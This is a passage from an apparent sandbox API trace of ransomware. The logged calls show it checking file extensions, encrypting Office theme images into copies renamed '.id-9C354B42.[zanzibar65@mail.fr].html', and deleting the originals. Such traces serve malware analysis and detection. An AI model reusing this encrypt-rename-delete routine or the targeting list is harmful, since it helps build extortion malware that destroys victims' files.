Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.921] lstrlenW (lpString=".zip") returned 4 [0043.921] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.921] lstrlenW (lpString=".rar") returned 4 [0043.921] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.921] lstrlenW (lpString=".bz2") returned 4 [0043.921] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.921] lstrlenW (lpString=".7z") returned 3 [0043.921] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.921] lstrlenW (lpString=".dbf") returned 4 [0043.921] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.921] lstrlenW (lpString=".1cd") returned 4 [0043.921] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.921] lstrlenW (lpString=".jpg") returned 4 [0043.921] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.921] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.922] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.922] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1354) returned 1 [0043.922] CloseHandle (hObject=0x1ac) returned 1 [0043.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0043.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.922] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.922] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.370] GetLastError () returned 0x0 [0044.370] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x54a, lpOverlapped=0x0) returned 1 [0044.372] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0044.372] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.372] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.373] SetEndOfFile (hFile=0x204) returned 1 [0044.373] CloseHandle (hObject=0x204) returned 1 [0044.373] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.373] SetEndOfFile (hFile=0x1ac) returned 1 [0044.374] CloseHandle (hObject=0x1ac) returned 1 [0044.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0044.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.374] lstrlenW (lpString=".doc") returned 4 [0044.374] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.374] lstrlenW (lpString=".docx") returned 5 [0044.374] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.374] lstrlenW (lpString=".pdf") returned 4 [0044.374] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.374] lstrlenW (lpString=".xls") returned 4 [0044.374] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.374] lstrlenW (lpString=".xlsx") returned 5 [0044.374] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.375] lstrlenW (lpString=".ppt") returned 4 [0044.375] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString=".zip") returned 4 [0044.375] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString=".rar") returned 4 [0044.375] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString=".bz2") returned 4 [0044.375] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.375] lstrlenW (lpString=".7z") returned 3 [0044.375] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString=".dbf") returned 4 [0044.375] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString=".1cd") returned 4 [0044.375] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString=".jpg") returned 4 [0044.375] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.375] lstrlenW (lpString=".doc") returned 4 [0044.375] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.375] lstrlenW (lpString=".docx") returned 5 [0044.375] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.375] lstrlenW (lpString=".pdf") returned 4 [0044.375] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString=".xls") returned 4 [0044.375] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.375] lstrlenW (lpString=".xlsx") returned 5 [0044.376] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.376] lstrlenW (lpString=".ppt") returned 4 [0044.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.376] lstrlenW (lpString=".zip") returned 4 [0044.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.376] lstrlenW (lpString=".rar") returned 4 [0044.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.376] lstrlenW (lpString=".bz2") returned 4 [0044.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.376] lstrlenW (lpString=".7z") returned 3 [0044.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.376] lstrlenW (lpString=".dbf") returned 4 [0044.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.376] lstrlenW (lpString=".1cd") returned 4 [0044.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0044.376] lstrlenW (lpString=".jpg") returned 4 [0044.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.376] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.376] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.377] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2574) returned 1 [0044.377] CloseHandle (hObject=0x1ac) returned 1 [0044.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0044.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.377] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.377] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.379] GetLastError () returned 0x0 [0044.379] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xa0e, lpOverlapped=0x0) returned 1 [0044.380] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xa10, lpOverlapped=0x0) returned 1 [0044.381] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.381] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.381] SetEndOfFile (hFile=0x204) returned 1 [0044.381] CloseHandle (hObject=0x204) returned 1 [0044.381] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.381] SetEndOfFile (hFile=0x1ac) returned 1 [0044.382] CloseHandle (hObject=0x1ac) returned 1 [0044.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.383] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0044.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.383] lstrlenW (lpString=".doc") returned 4 [0044.383] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.383] lstrlenW (lpString=".docx") returned 5 [0044.383] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.383] lstrlenW (lpString=".pdf") returned 4 [0044.383] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.383] lstrlenW (lpString=".xls") returned 4 [0044.383] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.383] lstrlenW (lpString=".xlsx") returned 5 [0044.383] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.383] lstrlenW (lpString=".ppt") returned 4 [0044.383] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.383] lstrlenW (lpString=".zip") returned 4 [0044.383] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.383] lstrlenW (lpString=".rar") returned 4 [0044.383] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.383] lstrlenW (lpString=".bz2") returned 4 [0044.383] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.383] lstrlenW (lpString=".7z") returned 3 [0044.383] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString=".dbf") returned 4 [0044.384] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString=".1cd") returned 4 [0044.384] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString=".jpg") returned 4 [0044.384] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString=".doc") returned 4 [0044.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.384] lstrlenW (lpString=".docx") returned 5 [0044.384] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.384] lstrlenW (lpString=".pdf") returned 4 [0044.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString=".xls") returned 4 [0044.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString=".xlsx") returned 5 [0044.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.384] lstrlenW (lpString=".ppt") returned 4 [0044.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.384] lstrlenW (lpString=".zip") returned 4 [0044.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString=".rar") returned 4 [0044.384] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.384] lstrlenW (lpString=".bz2") returned 4 [0044.384] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.384] lstrlenW (lpString=".7z") returned 3 [0044.384] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.385] lstrlenW (lpString=".dbf") returned 4 [0044.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.385] lstrlenW (lpString=".1cd") returned 4 [0044.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0044.385] lstrlenW (lpString=".jpg") returned 4 [0044.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.385] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.385] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.385] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=37440) returned 1 [0044.385] CloseHandle (hObject=0x1ac) returned 1 [0044.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0044.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.386] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.386] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.386] GetLastError () returned 0x0 [0044.386] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x9240, lpOverlapped=0x0) returned 1 [0044.388] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x9250, lpOverlapped=0x0) returned 1 [0044.389] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.389] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.389] SetEndOfFile (hFile=0x204) returned 1 [0044.390] CloseHandle (hObject=0x204) returned 1 [0044.390] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.390] SetEndOfFile (hFile=0x1ac) returned 1 [0044.391] CloseHandle (hObject=0x1ac) returned 1 [0044.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.391] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0044.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.391] lstrlenW (lpString=".doc") returned 4 [0044.391] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.391] lstrlenW (lpString=".docx") returned 5 [0044.391] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.391] lstrlenW (lpString=".pdf") returned 4 [0044.391] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.391] lstrlenW (lpString=".xls") returned 4 [0044.391] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.391] lstrlenW (lpString=".xlsx") returned 5 [0044.391] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.391] lstrlenW (lpString=".ppt") returned 4 [0044.391] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString=".zip") returned 4 [0044.392] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.392] lstrlenW (lpString=".rar") returned 4 [0044.392] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.392] lstrlenW (lpString=".bz2") returned 4 [0044.392] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.392] lstrlenW (lpString=".7z") returned 3 [0044.392] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString=".dbf") returned 4 [0044.392] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString=".1cd") returned 4 [0044.392] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString=".jpg") returned 4 [0044.392] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.392] lstrlenW (lpString=".doc") returned 4 [0044.392] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.392] lstrlenW (lpString=".docx") returned 5 [0044.392] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.392] lstrlenW (lpString=".pdf") returned 4 [0044.392] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.393] lstrlenW (lpString=".xls") returned 4 [0044.393] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.393] lstrlenW (lpString=".xlsx") returned 5 [0044.393] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.393] 